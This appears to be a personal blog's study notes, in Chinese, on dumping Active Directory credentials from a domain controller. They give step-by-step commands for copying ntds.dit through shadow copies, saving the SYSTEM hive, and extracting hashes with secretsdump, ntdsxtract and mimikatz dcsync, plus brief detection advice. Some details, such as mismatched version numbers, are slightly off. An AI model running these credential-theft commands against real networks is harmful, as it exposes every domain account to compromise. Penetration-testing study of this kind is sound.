域控制器安全

继续看看书。。。,净是写一堆网上一搜一大堆的东西。。。还得继续学习

域控制器安全

在通常情况下、即使拥有管理员权限,也无法读取域控制器中的C:\Windwos\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。而使用Windows本地卷影拷贝服务就可以获得文件的副本。

明明是域管理器安全,讲得却是在已获取域控权限下的操作,没讲怎么拿域控,应该不止横向的那些方法可以拿域控吧?

主要讲得是获取ntds.dit并提取出散列值

使用卷影拷贝服务提取ntds.dit

在活动目录中,所有的数据都保存在 ntds.dit文件中。

ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%ntds\ntds.dit

ntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。

它和SAM文件一样,是被Windows操作系统锁定的

但可以利用卷影拷贝服务(Volume Shadow Copy Service, VSS)从系统中导出ntds.dit,以及如何读取ntds.dit中的信息。

VSS本质上属快照(Snapshot)技术的一种,主要用于备份和恢复(即使目标文件处于锁定状态)。

1.通过ntdsutil.exe提取ntds.dit

该工具默认安装在域控制器上、可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的域控制器留下的元数据等。

ntdsutil.exe支持的操作系统有 Windows Server 2003、 Windows Server 2008、 Windows Server 2012。

1.在域控制器的命令行环境中创建一个快照。

该快照包含Windows的所有文件,且在复制文件时不会受到Windows锁定机制的限制。

疑惑:都能开域控制器命令行了,是不是已经有了域控的权限了,那为什么还要提取ntds.dit导出散列值,为了生成票据维持权限吗?

1
ntdsutil snapshot "activate instance ntds" create quit quit

2.加载创建的快照

假设快照的GUID为{c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}

1
ntdsutil snapshot "mount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit

3.复制快照中的文件

将刚才加载到C:$SNAP_202012281442_VOLUMEC$\Windows\NTDS\ntds.dit的文件,复制到Public目录下

1
copy C:\$SNAP_202012281442_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Public

4.卸载之前加载的快照并删除

1
ntdsutil snapshot "unmount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" "delete {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}" quit quit

5.查询当前快照

正常来说是找不到的,因为已经在上一步删了

1
ntdsutil snapshot "List All" quit quit

2.利用 vssadmin提取 ntds.dit

vssadminn是 Windows Server 2008 & Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统 Provider创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。vssadminn 的操作流程和ntdsutil类似

适用范围:Windows Server 2022、Windows Server 2019、Windows 10、Windows 8.1、Windows Server 2016、Windows Server 2012 R2、Windows Server 2012、Windows Server 2008 R2、Windows Server 2008

参考:vssadmin | Microsoft Learn

在域控制器中打开命令行环境,创建一个C盘的卷影拷贝

1
vssadmin create shadow /for=c:

在创建的卷影拷贝中将ntds.dit 复制出来

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\ntds.dit
1
dir c:\ |findstr "ntds"

删除快照

1
vssadmin delete shadows /for=c: /quiet

3.利用vssown.vbs脚本提取ntds.dit

vssown.vbs脚本的功能和vssadmin类似

下载链接:https://github.com/borigue/ptscripts/tree/master/windows

1
2
3
4
5
6
7
8
9
10
11
//启动卷影拷贝服务
cscript vssown.vbs /start

//创建一个C盘的卷影拷贝
cscript vssown.vbs /create c

//列出当前卷影拷贝
cscript vssown.vbs /list

//删除卷影拷贝
cscript vssown.vbs /delete

复制ntds.dit

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\ntds.dit

删除卷影拷贝

1
cscript vssown.vbs /delete {9AB33ECE-8FF2-49A8-9305-101993C6648E}

4使用ntdsutil的iFM创建卷影拷贝

除了按照前面介绍的方法通过执行命令来提取ntds dit,也可以使用创建一个 IFM的方式获取nsdi。在使用ntdsutil创建IFM时,需要进行生成快照、加载、将ntds. dit和计算机的SAM文件复制到目标文件夹中等操作。这些操作也可以通过PowerShell或WMI远程执行

在域控制器中以管理员模式打开命令行

通过IFM复制到c:\test\文件夹下

1
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

将ntds.dit复制到c:\test\Active Directory\文件夹下

1
dir "c:\test\Active Directory"

将SYSTEM和SECURITY复制到c:\test\registry文件夹下

1
dir "c:\test\registry"

将ntds.dit拖回本地后,删除test文件夹

1
rmdir /s /q test

nishang中有一个powershell脚本copy-vss.ps1。

通过该脚本,可以将SAM、SYSTEM、ntds.dit复制到与该脚本相同的目录下

1
2
3
import-module .\Copy.VSS.ps1   //导入脚本

Copy-vss //执行命令

5.使用diskshadow导出ntds.dit

win2008、2012、2016都默认包含diskshadow

diskshadow的功能与vshadow类型,且同样位于c:\windows\system32\目录下。

1
diskshadow.exe /?    #查看diskshadow.exe的帮助信息

在渗透测试中,可以使用diskshadow.exe来执行命令。例如,将需要执行的命令”exec c:\windows\system32\calc.exe”写入c盘目录下的command.txt文件,使用diskshadow.exe执行该文件中的命令

1
c:\>diskshadow /s c:\commmand.txt

使用diskshadow.exe加载command.txt文件时需要在c:\windows\system32下执行

1
c:\Windows\System32>diskshadow /s c:\command.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//设置卷影拷贝
set context persistent nowriters

//添加卷
add volume c: alias someAlias

//创建快照
create

//分配虚拟磁盘盘符
expose %someAlias% k:

//将ntds.dit复制到C盘c:\ntds.dit
exec "cmd.exe" /c copy K:\Windows\NTDS\ntds.dit c:\ntds.dit

//删除所有快照
delete shadows all

//列出系统中的卷影拷贝
list shadows all

//重置
reset

//退出
exit

导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit的密钥,所以如果没有该密钥,将无法查看ntds.dit中的信息

1
reg save hklm\system c:\windows\temp\system.hive

注意事项

  • 渗透测试人员可以在非特权用户权限下使用diskshadow.exe 的部分功能。与其他工具相比,diskshadow 的使用更为灵活。
  • 在使用diskshadow.exe 执行命令时,需要将文本文件上传到目标操作系统的本地磁盘中,或者通过交互模式完成操作。而在使用vshadow等工具时,可以直接执行相关命令。
  • 在渗透测试中,应该先将含有需要执行的命令的文本文件写人远程目标操作系统,再使用diskshadow.exe调用该文本文件。
  • 在使用diskshadow.exe导出ntds.dit时,可以通过WMI对远程主机进行操作。
  • 在使用diskshadow.exe导出ntds.dit时,必须在C:windows\system32\中进行操作。
  • 脚本执行后,要检查从快照中复制出来的ntds.dit文件的大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。

6 监控卷影拷贝服务的使用情况

通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。

  • 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
  • 监控System Event ID 7036(卷影拷贝服务进人运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件。
  • 监控创建dkshndko.exe及相关子进程的事件。
  • 监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。
  • 通过日志监控新出现的逻辑驱动器映射事件。

获取SYSTEM文件

导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit的密钥,所以如果没有该密钥,将无法查看ntds.dit中的信息

c:\windows\system32下执行

1
reg save hklm\system c:\windows\temp\system.hive

导出ntds.dit中的散列值

当获取到ntds.dit,可以用工具导出其中的散列值

需要:域控服务器的ntds.dit文件,SYSTEM文件(C:\Windows\System32\config)

1.使用 esedbexport恢复ntds.dit

首先我们需要从NTDS.dit文件中提取用户表格,这里我们要通过libesedb-tools中的esedbexport来帮我们完成。

Libesedb是一个用于访问可扩展存储引擎(ESE)数据库文件(EDB)格式的库。当前,ESE数据库格式被应用于许多不同的应用程序上,如Windows Search,Windows Mail,Exchange,Active Directory(NTDS.dit)等。

下载地址:https://github.com/libyal/libesedb/releases

首先在kali上面安装esedbexport:

1
2
3
4
5
apt-get install autoconf automake autopoint libtool pkg-config     // 安装依赖
wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz
cd libesedb-experimental-20191220
./configure
make && make install && ldconfig

安装完成后,进入存放ntds.dit的目录,执行以下命令恢复ntds.dit并提取表信息:

1
esedbexport -m tables ntds.dit        // 提取表信息

若取表成功,会在当前目录下生成一个“ntds.dit.export”文件夹

会有很多表,我们在之后需要用到的表也就是 datatable.3 和 link_table.5这两个表。

2. 导出散列值

使用impacket 工具包

下载地址:https://github.com/SecureAuthCorp/impacket

secretsdump.py是Impacket工具包中的一个脚本,该脚本实现了多种不需要在远程主机上执行任何代理的情况下转储机密数据的技术。对于SAM和LSA Secrets(包括缓存的凭据),我们尽可能的尝试从注册表中读取,然后将hives保存在目标系统(%SYSTEMROOT%\Temp目录)中,并从那里读取其余的数据。

secretsdump.py有一个本地选项,可以解析Ntds.dit文件并从Ntds.dit中提取哈希散列值和域信息。在此之前,我们必须获取到Ntds.dit和SYSTEM这两个文件。如果条件满足,你可以执行以下命令:

1
python secretsdump.py -system /目录/system.hive -ntds /目录/ntds.dit LOCAL

1
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL #导出ntds.dit中的散列值。

ntdsxtract

安装命令:

1
2
3
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract/
python setup.py build && python setup.py install

安装完成后,我们将上一步中导出的“ntds.dit.export”文件夹中的datatable.3、link_table.5这两个表和之前获得的“SYSTEM”文件一并放入ntdsxtract的文件夹中。

然后我们就可以执行如下命令,将域内的所有用户及散列值导出到result.txt文件中

1
2
3
dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options>      // 命令格式

python dsusers.py datatable.3 link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt

–pwdformat选项是选择以什么格式进行提取,有john(John format)、ocl(oclHashcat)、ophc(OphCrack)三个选项。

3.利用dcsync获取域散列值

mimikatz有一个dcsync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。

需要注意的是,必须使用管理员权限运行mimikatz才可以读取ntds.dit

实现原理: 利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据

利用条件: 获得以下任一用户的权限: Administrators组内的用户 、Domain Admins组内的用户 、Enterprise Admins组内的用户 、域控制器的计算机帐户

在域内的任意一台计算机中,以域管理员权限打开命令行环境,运行mimikatz,使用mimikatz导出域内的所有用户名以及散列值

1
2
3
lsadump::dcsync /domain:xxx.com /all /csv

lsadump::dcsync /domain:god.org /all /csv

使用dcsync 获取域账号和域散列值

1
2
3
privilege::debug
log
lsadump::lsa /inject

先执行 log,会在mimikatz目录下生成一个文本文件,用于记录mimikatz的所有执行结果


域控制器安全
https://www.supersmallblack.cn/域控制器安全.html
作者
Small Black
发布于
2024年1月24日
许可协议